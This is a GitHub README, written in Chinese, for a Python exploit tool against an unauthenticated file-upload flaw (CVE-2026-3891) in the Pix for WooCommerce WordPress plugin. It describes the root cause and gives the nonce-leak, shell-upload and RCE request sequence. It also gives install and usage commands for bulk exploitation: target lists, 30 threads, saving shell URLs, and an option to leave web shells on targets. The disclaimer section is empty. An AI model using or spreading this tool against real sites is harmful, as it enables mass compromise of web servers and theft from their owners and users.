shinthink/CVE-2026-3891

GitHub: shinthink/CVE-2026-3891

针对 Pix for WooCommerce 插件未授权文件上传漏洞(CVE-2026-3891)的 Python 漏洞利用工具,支持批量验证与远程代码执行。

Stars: 4 | Forks: 1

CVE-2026-3891 — Pix for WooCommerce 未授权文件上传 RCE

Nonce 泄露 → certificate_crt_path 上传 → 代码执行

## 概述 **CVE-2026-3891** 是 **Pix for WooCommerce** WordPress 插件(作者 linknacional)版本 **≤ 1.5.0** 中存在的一个严重级别(CVSS 9.8)的**未授权**任意文件上传漏洞。 `lkn_pix_for_woocommerce_c6_save_settings` AJAX 处理程序存在以下问题: 1. **没有权限检查** — 任何未授权的访问者都可以调用它 2. **没有文件类型验证** — 通过 `certificate_crt_path` 参数可以接受任何文件扩展名 3. 有效的 nonce 可以通过 `lkn_pix_for_woocommerce_generate_nonce` 端点在无需身份验证的情况下**自由获取** 上传的文件会存放在可被 Web 访问的目录 `/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/` 中。 ### 受影响版本 | 版本 | 状态 | |---|---| | ≤ 1.5.0 | 存在漏洞 | | 1.6.0+ | 已修复 | ## 漏洞机制 ### 根本原因 ``` // Nonce generated without auth add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...); // Upload handler — no capability check, no file type validation add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_c6_save_settings', ...); function c6_save_settings() { // No current_user_can() check // No wp_check_filetype() call move_uploaded_file($_FILES['certificate_crt_path']['tmp_name'], $dest); } ``` ### 攻击流程 ``` 1. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_generate_nonce → Get valid nonce (no auth needed) 2. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_c6_save_settings → Upload shell.php via certificate_crt_path field 3. GET /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/shell.php → RCE ``` ## 安装说明 ``` git clone https://github.com/shinthink/CVE-2026-3891.git cd CVE-2026-3891 pip install -r requirements.txt ``` ## 用法 ``` python cve_2026_3891.py -t target.com python cve_2026_3891.py -f targets.txt -o shells.txt python cve_2026_3891.py -t target.com --debug --no-cleanup ``` ### 参数 ``` -t, --target Single target -f, --file Target list -o, --output Save RCE URLs --threads Workers (default: 30) --no-cleanup Leave shells on target --debug Show every request -v, --verbose Verbose output ``` ## 免责声明 ## 参考资料 | 资源 | 链接 | |---|---| | Wordfence 公告 | [wordfence.com](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/payment-gateway-pix-for-woocommerce/pix-for-woocommerce-150-unauthenticated-arbitrary-file-upload) | | NVD 条目 | [CVE-2026-3891](https://nvd.nist.gov/vuln/detail/CVE-2026-3891) | | 研究员 | Alexis Lafontaine |

与 linknacional 或 Pix for WooCommerce 无关。

标签:CISA项目, Python, Web安全, WordPress, 无后门, 编程工具, 蓝队分析, 远程代码执行